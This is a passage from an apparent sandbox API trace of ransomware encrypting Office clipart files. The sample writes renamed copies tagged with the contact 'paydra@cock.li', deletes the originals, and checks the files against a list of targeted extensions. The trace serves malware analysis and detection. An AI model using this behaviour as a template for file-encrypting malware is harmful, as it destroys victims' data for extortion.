returned 1 [0052.053] SetEndOfFile (hFile=0x190) returned 1 [0052.053] CloseHandle (hObject=0x190) returned 1 [0052.053] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.053] SetEndOfFile (hFile=0x160) returned 1 [0052.054] CloseHandle (hObject=0x160) returned 1 [0052.054] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0052.054] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif")) returned 1 [0052.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0052.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0052.055] lstrlenW (lpString=".doc") returned 4 [0052.055] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0052.055] lstrlenW (lpString=".docx") returned 5 [0052.055] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0052.055] lstrlenW (lpString=".pdf") returned 4 [0052.055] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0052.055] lstrlenW (lpString=".xls") returned 4 [0052.055] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0052.055] lstrlenW (lpString=".xlsx") returned 5 [0052.055] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0052.055] lstrlenW (lpString=".ppt") returned 4 [0052.055] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0052.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0052.055] lstrlenW (lpString=".zip") returned 4 [0052.055] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0052.055] lstrlenW (lpString=".rar") returned 4 [0052.055] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0052.055] lstrlenW (lpString=".bz2") returned 4 [0052.055] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0052.055] lstrlenW (lpString=".7z") returned 3 [0052.055] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0052.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0052.055] lstrlenW (lpString=".dbf") returned 4 [0052.055] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0052.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0052.055] lstrlenW (lpString=".1cd") returned 4 [0052.055] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0052.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0052.055] lstrlenW (lpString=".jpg") returned 4 [0052.055] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0052.056] GetFileSizeEx (in: hFile=0x160, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=8582) returned 1 [0052.056] CloseHandle (hObject=0x160) returned 1 [0052.056] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif")) returned 0x20 [0052.056] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0052.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0052.057] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.057] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0052.057] GetLastError () returned 0x0 [0052.057] ReadFile (in: hFile=0x160, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x2186, lpOverlapped=0x0) returned 1 [0052.059] WriteFile (in: hFile=0x190, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x2190, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x2190, lpOverlapped=0x0) returned 1 [0052.060] ReadFile (in: hFile=0x160, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.060] WriteFile (in: hFile=0x190, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0052.060] SetEndOfFile (hFile=0x190) returned 1 [0052.060] CloseHandle (hObject=0x190) returned 1 [0052.060] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.060] SetEndOfFile (hFile=0x160) returned 1 [0052.061] CloseHandle (hObject=0x160) returned 1 [0052.061] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0052.061] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif")) returned 1 [0052.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0052.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0052.061] lstrlenW (lpString=".doc") returned 4 [0052.061] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0052.061] lstrlenW (lpString=".docx") returned 5 [0052.061] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0052.061] lstrlenW (lpString=".pdf") returned 4 [0052.061] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0052.061] lstrlenW (lpString=".xls") returned 4 [0052.061] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0052.061] lstrlenW (lpString=".xlsx") returned 5 [0052.061] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0052.061] lstrlenW (lpString=".ppt") returned 4 [0052.061] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0052.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0052.062] lstrlenW (lpString=".zip") returned 4 [0052.062] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0052.062] lstrlenW (lpString=".rar") returned 4 [0052.062] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0052.062] lstrlenW (lpString=".bz2") returned 4 [0052.062] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0052.062] lstrlenW (lpString=".7z") returned 3 [0052.062] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0052.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0052.062] lstrlenW (lpString=".dbf") returned 4 [0052.062] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0052.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0052.062] lstrlenW (lpString=".1cd") returned 4 [0052.062] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0052.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0052.062] lstrlenW (lpString=".jpg") returned 4 [0052.062] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0052.062] GetFileSizeEx (in: hFile=0x160, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=4894) returned 1 [0052.062] CloseHandle (hObject=0x160) returned 1 [0052.062] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif")) returned 0x20 [0052.062] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0052.062] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0052.063] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.063] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.063] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0052.063] GetLastError () returned 0x0 [0052.063] ReadFile (in: hFile=0x160, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x131e, lpOverlapped=0x0) returned 1 [0052.064] WriteFile (in: hFile=0x190, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x1320, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x1320, lpOverlapped=0x0) returned 1 [0052.065] ReadFile (in: hFile=0x160, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.065] WriteFile (in: hFile=0x190, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0052.065] SetEndOfFile (hFile=0x190) returned 1 [0052.066] CloseHandle (hObject=0x190) returned 1 [0052.066] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.066] SetEndOfFile (hFile=0x160) returned 1 [0052.066] CloseHandle (hObject=0x160) returned 1 [0052.066] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0052.067] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif")) returned 1 [0052.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0052.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0052.067] lstrlenW (lpString=".doc") returned 4 [0052.067] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0052.067] lstrlenW (lpString=".docx") returned 5 [0052.067] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0052.067] lstrlenW (lpString=".pdf") returned 4 [0052.067] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0052.067] lstrlenW (lpString=".xls") returned 4 [0052.067] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0052.067] lstrlenW (lpString=".xlsx") returned 5 [0052.067] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0052.067] lstrlenW (lpString=".ppt") returned 4 [0052.067] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0052.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0052.067] lstrlenW (lpString=".zip") returned 4 [0052.067] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0052.067] lstrlenW (lpString=".rar") returned 4 [0052.067] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0052.067] lstrlenW (lpString=".bz2") returned 4 [0052.067] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0052.067] lstrlenW (lpString=".7z") returned 3 [0052.067] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0052.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0052.067] lstrlenW (lpString=".dbf") returned 4 [0052.067] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0052.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0052.068] lstrlenW (lpString=".1cd") returned 4 [0052.068] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0052.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0052.068] lstrlenW (lpString=".jpg") returned 4 [0052.068] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0052.068] GetFileSizeEx (in: hFile=0x160, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=5375) returned 1 [0052.068] CloseHandle (hObject=0x160) returned 1 [0052.068] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif")) returned 0x20 [0052.068] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0052.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0052.068] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.068] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0052.069] GetLastError () returned 0x0 [0052.069] ReadFile (in: hFile=0x160, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x14ff, lpOverlapped=0x0) returned 1 [0052.375] WriteFile (in: hFile=0x190, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x1500, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x1500, lpOverlapped=0x0) returned 1 [0052.385] ReadFile (in: hFile=0x160, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.385] WriteFile (in: hFile=0x190, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0052.385] SetEndOfFile (hFile=0x190) returned 1 [0052.385] CloseHandle (hObject=0x190) returned 1 [0052.386] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.386] SetEndOfFile (hFile=0x160) returned 1 [0052.386] CloseHandle (hObject=0x160) returned 1 [0052.388] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0052.389] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif")) returned 1 [0052.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0052.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0052.402] lstrlenW (lpString=".doc") returned 4 [0052.402] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0052.402] lstrlenW (lpString=".docx") returned 5 [0052.402] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0052.408] lstrlenW (lpString=".pdf") returned 4 [0052.408] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0052.408] lstrlenW (lpString=".xls") returned 4 [0052.408] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0052.408] lstrlenW (lpString=".xlsx") returned 5 [0052.408] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0052.408] lstrlenW (lpString=".ppt") returned 4 [0052.408] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0052.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0052.409] lstrlenW (lpString=".zip") returned 4 [0052.409] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0052.409] lstrlenW (lpString=".rar") returned 4 [0052.409] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0052.409] lstrlenW (lpString=".bz2") returned 4 [0052.409] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0052.409] lstrlenW (lpString=".7z") returned 3 [0052.409] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0052.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0052.409] lstrlenW (lpString=".dbf") returned 4 [0052.409] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0052.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0052.409] lstrlenW (lpString=".1cd") returned 4 [0052.409] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0052.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 63 [0052.409] lstrlenW (lpString=".jpg") returned 4 [0052.409] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0052.409] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.409] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.409] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0052.410] GetLastError () returned 0x0 [0052.410] ReadFile (in: hFile=0x17c, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0xea2, lpOverlapped=0x0) returned 1 [0052.411] WriteFile (in: hFile=0x208, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xeb0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xeb0, lpOverlapped=0x0) returned 1 [0052.412] ReadFile (in: hFile=0x17c, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.412] WriteFile (in: hFile=0x208, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0052.412] SetEndOfFile (hFile=0x208) returned 1 [0052.412] CloseHandle (hObject=0x208) returned 1 [0052.412] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.412] SetEndOfFile (hFile=0x17c) returned 1 [0052.413] CloseHandle (hObject=0x17c) returned 1 [0052.413] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0052.413] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf")) returned 1 [0052.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0052.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0052.413] lstrlenW (lpString=".doc") returned 4 [0052.413] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.413] lstrlenW (lpString=".docx") returned 5 [0052.413] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.414] lstrlenW (lpString=".pdf") returned 4 [0052.414] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.414] lstrlenW (lpString=".xls") returned 4 [0052.414] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.414] lstrlenW (lpString=".xlsx") returned 5 [0052.414] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.414] lstrlenW (lpString=".ppt") returned 4 [0052.414] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0052.414] lstrlenW (lpString=".zip") returned 4 [0052.414] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.414] lstrlenW (lpString=".rar") returned 4 [0052.414] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.414] lstrlenW (lpString=".bz2") returned 4 [0052.414] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.414] lstrlenW (lpString=".7z") returned 3 [0052.414] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0052.414] lstrlenW (lpString=".dbf") returned 4 [0052.414] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0052.414] lstrlenW (lpString=".1cd") returned 4 [0052.414] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0052.414] lstrlenW (lpString=".jpg") returned 4 [0052.414] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.414] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.415] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.415] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0052.415] GetLastError () returned 0x0 [0052.415] ReadFile (in: hFile=0x17c, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x16cc, lpOverlapped=0x0) returned 1 [0052.417] WriteFile (in: hFile=0x208, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x16d0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x16d0, lpOverlapped=0x0) returned 1 [0052.418] ReadFile (in: hFile=0x17c, 